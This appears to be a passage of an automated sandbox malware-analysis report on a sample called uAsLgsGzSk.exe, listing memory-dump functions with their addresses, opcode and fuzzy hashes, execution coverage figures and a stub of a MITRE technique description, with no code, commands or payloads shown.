Instruction Fuzzy Hash: E311D535B0924D9FEB05FF68E495DE93BA0EF15324F0401BBD45D8A093DA36A584CB84

Function 00007FFD9BA5AB91 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50e1107dd7b3446636637c6ebe175bf5b58d9e7d8863d0335decf20e1b4147b3
Instruction ID: 7ec7409bb99de02c8010dd6c7ad1e867c74a225ad86c3b4099bf79980e3945af
Opcode Fuzzy Hash: 50e1107dd7b3446636637c6ebe175bf5b58d9e7d8863d0335decf20e1b4147b3
Instruction Fuzzy Hash: 2D11C831A0958D9FDB54EFA8C8695ED7BB1FF54300F0640ABE44DC71A2DE75AA40CB40

Function 00007FFD9BA5C4C5 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f44df024e309628094d3593282876d715284e9d1b742ec6088605b1ec3217ab2
Instruction ID: 6d6b8db3e09c31cc575e94f27a7e963634f5a44f4779b42f151dec74545a6a07
Opcode Fuzzy Hash: f44df024e309628094d3593282876d715284e9d1b742ec6088605b1ec3217ab2
Instruction Fuzzy Hash: B511E53190954D9FDB94EFA8C865AED7BB0FF65300F0501A6E00CC31A5EA74AA80CB40

Function 00007FFD9BA3151C Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba2b000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53d82ae931af2bf1a0d57be4e86258381ac660543c2cb32362db664a615dc8b6
Instruction ID: 4e05fcff41190f237b64d088ec39cd29e6fe7b3588411ca537f52840d16f5265
Opcode Fuzzy Hash: 53d82ae931af2bf1a0d57be4e86258381ac660543c2cb32362db664a615dc8b6
Instruction Fuzzy Hash: CB112630E1921E8FEBA0DF95C8947EDB3B0FF24301F1141B6D41A962A5CAB86A81CF40

Function 00007FFD9BA5C7B9 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20cfca0ce27d273ac39f2d8f807860b2b8e58c384b058b888dd6c94c019c7c12
Instruction ID: 33ad47f2e7d647bbfedc629cf39d9a744fb2a2937b35b76b91347b53f169774e
Opcode Fuzzy Hash: 20cfca0ce27d273ac39f2d8f807860b2b8e58c384b058b888dd6c94c019c7c12
Instruction Fuzzy Hash: D211287090978D8FCB45DF58C8555EE3BF0FF69304F0501AAE859D72A1D774A940CB81

Function 00007FFD9BA303A9 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba2b000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aa4b805623bf974d11f1de07a08a8c6ac649e7382568c9b3a8d6985d252f140
Instruction ID: 1128e582f5059f88a4a0f9eb51a63072ebdade2a663e5e260a398ed30059d8eb
Opcode Fuzzy Hash: 2aa4b805623bf974d11f1de07a08a8c6ac649e7382568c9b3a8d6985d252f140
Instruction Fuzzy Hash: A7112E7090968D8FCF45EF68C895AED7BF0FF29304F0501AAE459D71A1D734A554CB81

Function 00007FFD9BA10C48 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba10000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90079fa9237b9d83118d2889525777496bc31bcce7336dde6feb369f9827cdfd
Instruction ID: b2f8c2abe48dc9b9bdff454117c9816716cb6a3c6e517f5aff022bbbb7600baf
Opcode Fuzzy Hash: 90079fa9237b9d83118d2889525777496bc31bcce7336dde6feb369f9827cdfd
Instruction Fuzzy Hash: 8C014935E0E68E8FE721ABA4C8202E977B0EF45710F054676D551972E1CB782204CB85

Function 00007FFD9BA288E1 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429b8597105fa3c2cdc4cc5a358f2664bed505b7b7383d549262f8e1f777bdd8
Instruction ID: 250e91fa0e2138ed5948117d908de9b79bbd8d709e17f2495277d7a66e254807
Opcode Fuzzy Hash: 429b8597105fa3c2cdc4cc5a358f2664bed505b7b7383d549262f8e1f777bdd8
Instruction Fuzzy Hash: 76011A70A2968DCFCB44EF18C895AD93BF0FF68754F0501A6E849C7251DB34E951CB81

Function 00007FFD9BA5AB19 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae2a4704187b103944654fa4c897c201a091124afdea3e9187910dd8181be824
Instruction ID: b0b15ce633f77f14326d4474a4e019cd55b06f72fa3a4e1db522426e96a7dfe2
Opcode Fuzzy Hash: ae2a4704187b103944654fa4c897c201a091124afdea3e9187910dd8181be824
Instruction Fuzzy Hash: 93112A3090868D8FCF45EF68C859AEE7BB0FF29304F05059AE859D7261D7349954CB81

Function 00007FFD9BA2813D Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82ccb27d8f1828cb2dffd80ad7eb611ecfab652d2646144a9ca4f75c31c67359
Instruction ID: 0d01050a100982e864ea859504008db4d3e01da78035e337929840f26ccec339
Opcode Fuzzy Hash: 82ccb27d8f1828cb2dffd80ad7eb611ecfab652d2646144a9ca4f75c31c67359
Instruction Fuzzy Hash: 27012821E9E68D8AE720AB6488211FCB7E0EF45320F4600B7E14D922D2DF7861158741

Function 00007FFD9BA5AD40 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 196e1394ec368dca8baab9bc3db91bb74ce3f05509ef780bacddcd417760f51b
Instruction ID: 723606b2c2b48c413c885f16f239146d1d1c4beecf0ee610b0daf59d428415cf
Opcode Fuzzy Hash: 196e1394ec368dca8baab9bc3db91bb74ce3f05509ef780bacddcd417760f51b
Instruction Fuzzy Hash: 4A01C57091464D8FCB44EF58C855AEE77F0FB68305F01062AA85AE3254DB75AA50CB81

Function 00007FFD9BA5C529 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0792ea1c6f1f0f9e4f848a4b7eee85080096567d259ac47af2255d053315bb6f
Instruction ID: 19c68fb37438a9deecf401b98e3cd7900a3c85737242db2323d734f8c567c4f5
Opcode Fuzzy Hash: 0792ea1c6f1f0f9e4f848a4b7eee85080096567d259ac47af2255d053315bb6f
Instruction Fuzzy Hash: FF014C30908A8D8FCB85EF58C895AE97FF0FF29301F0501AAE409C71A1D7759A94CB81

Function 00007FFD9BA10C50 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba10000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e3a39619f20f818c821dc25f389f942ce79f6797f9dd91883a3a385301e849b
Instruction ID: baa6bc499c94d11bf359dbc53f4d311f0767ed2d514fc76a796f6ae086a61c3a
Opcode Fuzzy Hash: 1e3a39619f20f818c821dc25f389f942ce79f6797f9dd91883a3a385301e849b
Instruction Fuzzy Hash: 3F012434E0E68E8AE721ABA4C8202E977B0EF05700F040676D552872E2CF782204CB45

Function 00007FFD9BA28DD5 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5bc7b596093aa7bbed13fb893a29a874be364e55563b7a031a8dc27bb416450
Instruction ID: 0d4d404fe980e2b97c5733af37714910d342bd0ea03cc2af31e58f8e0de926e5
Opcode Fuzzy Hash: f5bc7b596093aa7bbed13fb893a29a874be364e55563b7a031a8dc27bb416450
Instruction Fuzzy Hash: 7F018B3190A78C8FCF54DF28C8555E93BE0FF28750F4502AAF848872A1D738EA54CB81

Function 00007FFD9BA5D199 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b87b60ec480e4c7d529fa8fea16cc06fc4b6f9d856d767f149819151047c200
Instruction ID: 918a8f2503004db966a8203221f5b3eddf2b5be8912b3e6efe947706a50f3bdc
Opcode Fuzzy Hash: 8b87b60ec480e4c7d529fa8fea16cc06fc4b6f9d856d767f149819151047c200
Instruction Fuzzy Hash: 4A015E3090868D8FDB45EF68C869AD97FF0FF29304F0501ABE849C71A1D7749A54CB81

Function 00007FFD9BA63189 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 073be99251e7dbbd6c836e334987c96df42bb119f2bc1db64012bca0175501d4
Instruction ID: 2e56ab2cbf47095e196fd40f1e330192ff7de8abc31cef12cd50f205435314f1
Opcode Fuzzy Hash: 073be99251e7dbbd6c836e334987c96df42bb119f2bc1db64012bca0175501d4
Instruction Fuzzy Hash: E1011E7090968D8FCF85EF68C8546EA7BB1FF65300F05059AE419C71A1DB759A54CB80

Function 00007FFD9BA5ABF9 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3da538bc518b439c8e58bdf11904baf94d726b53f7bdeec317d7dde38169cf14
Instruction ID: 5ce7211e7b592a17f1982eaa66043460d2697a232e20cd21c5cc54ca42d1f9fa
Opcode Fuzzy Hash: 3da538bc518b439c8e58bdf11904baf94d726b53f7bdeec317d7dde38169cf14
Instruction Fuzzy Hash: 0B012C3050968C8FCB45DF64C868AE97FB0EF6A300F0501DAD449C71A2C7759A94CB41

Function 00007FFD9BA628B9 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ead5db72ea46fd23275a21dff51708c89da3c9ec213f7edbad2ba33ad6c1c28
Instruction ID: 6d19faefebd10147228a1eb1ba3ef0f9bba114754467c4cdc049b39a4da02463
Opcode Fuzzy Hash: 5ead5db72ea46fd23275a21dff51708c89da3c9ec213f7edbad2ba33ad6c1c28
Instruction Fuzzy Hash: CC017C7190978C8FCB85DF64C8A4A997FB0FF69300F0540DAE408C71A2D734D994CB41

Function 00007FFD9BA64519 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3773598518902191c0563c70a36c32b9a9c6f76d198a68fd0002b02771ecff35
Instruction ID: e8d347b0952a918b0fa34a501eaae724a1b4d4e82be282c8d480915e0ff33ff3
Opcode Fuzzy Hash: 3773598518902191c0563c70a36c32b9a9c6f76d198a68fd0002b02771ecff35
Instruction Fuzzy Hash: EA018F71A0968DCFCB85DF68C8646ED7BB0FF25300F0505AEE419C72A2DB349904CB41

Function 00007FFD9BA64171 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be239744877f8e7ce3c0992ea465a1ef03acd4da4afcc5d9c6f3466c96edd378
Instruction ID: 092bba3eee5e722ca4d5530caf3377c3efd2d4c8e8591e835cbc1481ae6ce207
Opcode Fuzzy Hash: be239744877f8e7ce3c0992ea465a1ef03acd4da4afcc5d9c6f3466c96edd378
Instruction Fuzzy Hash: BCF0B471E1A74DDFEB51ABB4886A6E97FA0FF25300F0A45B7E44CC20E2DD3856848701

Function 00007FFD9BA30371 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba2b000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94cf208f74e6a6c515196b3c35064f61e62864c5a286d07de5696d1b8ec7492b
Instruction ID: 9a7691662c24bdab7d498e0fc9d48943885115ae0ab618e80f59efaccb7c2cf9
Opcode Fuzzy Hash: 94cf208f74e6a6c515196b3c35064f61e62864c5a286d07de5696d1b8ec7492b
Instruction Fuzzy Hash: AA011931A1890D8FDF94EF58C8A5ABE77A1FF64344F110069E419D32A1DA74EA55CB80

Function 00007FFD9BA5D1B0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 678928b821ac35366c8fd77c396d2577d3aab7bd6ccbe8c7ce0703928505724f
Instruction ID: d5bdeeac97abde1ab8e07dc6a947662f7ed674c27fa10c8432b0734f2ba2a745
Opcode Fuzzy Hash: 678928b821ac35366c8fd77c396d2577d3aab7bd6ccbe8c7ce0703928505724f
Instruction Fuzzy Hash: 9DF0C930914A4D9FCF44EF58C859AEA7BF0FB68305F01056AA85AD3250DB30A694CB81

Function 00007FFD9BA30B3B Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba2b000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af3d293699e5bd6f5bf79211d4e78c76232b74542a2c665fc3820f8bb11412dc
Instruction ID: b1d8b214886e20cee7c4f6ba94beaafd125e330fb9933f21d21a0fcd763585f7
Opcode Fuzzy Hash: af3d293699e5bd6f5bf79211d4e78c76232b74542a2c665fc3820f8bb11412dc
Instruction Fuzzy Hash: 5D014B71B08A0E8BEB28DF94C865ABD77B1FB54304F10023EC416D72A5CBB42A058B44

Function 00007FFD9BA284B5 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3dc2bb358152b21ab37a885fbf3b957e59177f3933248fbd0e962df7b36262b
Instruction ID: 2d5b1a4fa7b60a2c7ce71a9d0a7261827ec74115969507ecfeb52b70b732c741
Opcode Fuzzy Hash: b3dc2bb358152b21ab37a885fbf3b957e59177f3933248fbd0e962df7b36262b
Instruction Fuzzy Hash: E6F0BE3099A78C8FEB90EF68C8696ED7FA0FF14300F0501AAE808C60A2DB7496948741

Function 00007FFD9BA27DCD Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfc30cc530566b3173c43b00a56d0a7518960cc55106cbd8875dff7eebc79d44
Instruction ID: 6afe43896fac8672cfcfb9ea7af9d0f816c2b16b1eee9fd0a3a5e8de180cd9bb
Opcode Fuzzy Hash: dfc30cc530566b3173c43b00a56d0a7518960cc55106cbd8875dff7eebc79d44
Instruction Fuzzy Hash: 13F0903150A68D8FDF95EF18C855A993BA0FF29300F0501A6E458C7161D774EDA0CB81

Function 00007FFD9BA5AC10 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34badbd0fedea229b69ffce8e5bad66b68a57dbc683c7223a09e0788d612b4b3
Instruction ID: 39f3fe47517d7c4e8554cc7e477acad3a0eea2a685e79f5a0fbf074be8d100b3
Opcode Fuzzy Hash: 34badbd0fedea229b69ffce8e5bad66b68a57dbc683c7223a09e0788d612b4b3
Instruction Fuzzy Hash: 24F0B77091490D9FDF84EF68C459AAA7BF1FB68305F1041AAA41DD32A0DB71A6A4CB80

Function 00007FFD9BA61B80 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02aa7748c978de13aef4cd104935aa6233602f0721b9fbf1f8394728b365870f
Instruction ID: 6ae0cb3a08f71f3f8cc237e0f6c7f3404895f6c9cb3a0ea6e85a186322200bac
Opcode Fuzzy Hash: 02aa7748c978de13aef4cd104935aa6233602f0721b9fbf1f8394728b365870f
Instruction Fuzzy Hash: A9F0F930904A0D9FCB94EF54C854AAA7BA0FF68304F1040AAE419D3260CB71A694CB80

Function 00007FFD9BA30B12 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba2b000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cd98a4eebf0c342191fceda7e5bc464835eb4841a3abf53ef297713d026ae9c
Instruction ID: 31074958f557d9d2ccc587ee111a1ca9b82156bc36e16ce55c1d95bbf7d95140
Opcode Fuzzy Hash: 1cd98a4eebf0c342191fceda7e5bc464835eb4841a3abf53ef297713d026ae9c
Instruction Fuzzy Hash: 2A014F30F0860E8BEB28DF94C8616BDB7B1FF40304F11063FC416972A1CBB85A018B44

Function 00007FFD9BA285ED Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 483e0d329ec587f5fd3e9039a3259d0f62e5e6e82fd1281a201be268f274d7e5
Instruction ID: 5aa7948893e97adb5a2141e7b0d4d5dea1cb211bae73bbe1435e0f76015ad256
Opcode Fuzzy Hash: 483e0d329ec587f5fd3e9039a3259d0f62e5e6e82fd1281a201be268f274d7e5
Instruction Fuzzy Hash: F2F09A30909A8D8FCB94EF18C865A9A3BE0FF29300F4501A6E448C75A6E774E964CB81

Function 00007FFD9BA27C25 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b466910d161f0190de7d7997c6168b23a85e7c13652862c8a231d664124a6444
Instruction ID: 584a4f28e0c157a7fb627442f5351b955f5c5bb3d8c8211c7a16ad65b3c6311b
Opcode Fuzzy Hash: b466910d161f0190de7d7997c6168b23a85e7c13652862c8a231d664124a6444
Instruction Fuzzy Hash: 50F0A03184E68C8FDB61EF74889D29D7FF0EF15304F0504A6D449C61A2DA359A84CB01

Function 00007FFD9BA5E1E2 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde4d00471ec110723516e1faec09df8eb01cc0d316d54f3f58629d98db11995
Instruction ID: f962bc57710e638c01f689b324d259835862f0556ad3ac0ee71c548751a9578d
Opcode Fuzzy Hash: fde4d00471ec110723516e1faec09df8eb01cc0d316d54f3f58629d98db11995
Instruction Fuzzy Hash: FAF0D071E0992D4ADBA4DF58C85579D77B1EF54301F1041E6D00CD3196EB745E818F80

Function 00007FFD9BA62935 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd83f5845cb8b58c9dc0805fc8ae0e884d3ebb009ae104b89fa9caf5db388264
Instruction ID: 1ef8a3e0eddc1395ada4272e365d261f34996b68f16da29fb225cf480e8cd6b6
Opcode Fuzzy Hash: fd83f5845cb8b58c9dc0805fc8ae0e884d3ebb009ae104b89fa9caf5db388264
Instruction Fuzzy Hash: 8EE04635A0868D8FCF15CF58D8608E97B70EF96328B1500A6D00E8B1A6CA32EA52DB40

Function 00007FFD9BA63A56 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 767114252f4f97cbd1979d405d924af769c02a70152d61780a3bda13e585c7fb
Instruction ID: fb38bbbb39bad5965ac69d0c562bb7ac675a39eb76e64c5b45d027b4557d2995
Opcode Fuzzy Hash: 767114252f4f97cbd1979d405d924af769c02a70152d61780a3bda13e585c7fb
Instruction Fuzzy Hash: C6E0ED70A0655D8EDBA4DF58C9667BC72B1EF08300F5158B5A00FE21A1CE746A858B00

Analysis Process: uAsLgsGzSk.exePID: 5344, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	10.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	7
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B9F070D Relevance: 1.7, APIs: 1, Instructions: 468
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FFD9BA03CDF

Memory Dump Source

Source File: 00000025.00000002.2822400102.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b9f0000_uAsLgsGzSk.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5b5e515e112575df014c765117a4505b313ce6532c66a9da1a68a0d392d9716a
Instruction ID: d02a058286754925a43522269625189deaf858e84080417aa36e6b3f793555e6
Opcode Fuzzy Hash: 5b5e515e112575df014c765117a4505b313ce6532c66a9da1a68a0d392d9716a
Instruction Fuzzy Hash: 65F1C030A1964D8FDB95EF68C855BEDBBF0FF19300F0141AAE449D3292DB74A985CB81

Function 00007FFD9B9F0750 Relevance: 1.7, APIs: 1, Instructions: 440
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FFD9BA03CDF

Memory Dump Source

Source File: 00000025.00000002.2822400102.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_7ffd9b9f0000_uAsLgsGzSk.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 73ad6e5835af355644bb79746ea2ad5af91ef3f187fd09d33ba9ceb507f45288
Instruction ID: 63ec4e5def711091e6d92780be503afa9af499c18f8f85e71e7a1885352dd75d
Opcode Fuzzy Hash: 73ad6e5835af355644bb79746ea2ad5af91ef3f187fd09d33ba9ceb507f45288
Instruction Fuzzy Hash: 91E1B03091964D8FDB94EF68C855BED7BF0FF59300F0141AAE449D3292DB74A985CB41

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

